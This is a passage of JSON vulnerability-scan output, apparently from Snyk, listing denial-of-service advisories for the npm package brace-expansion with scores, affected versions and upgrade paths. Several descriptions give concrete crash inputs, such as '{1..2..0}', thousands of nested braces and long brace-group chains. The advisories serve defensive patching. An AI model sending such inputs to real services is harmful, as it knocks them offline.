"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
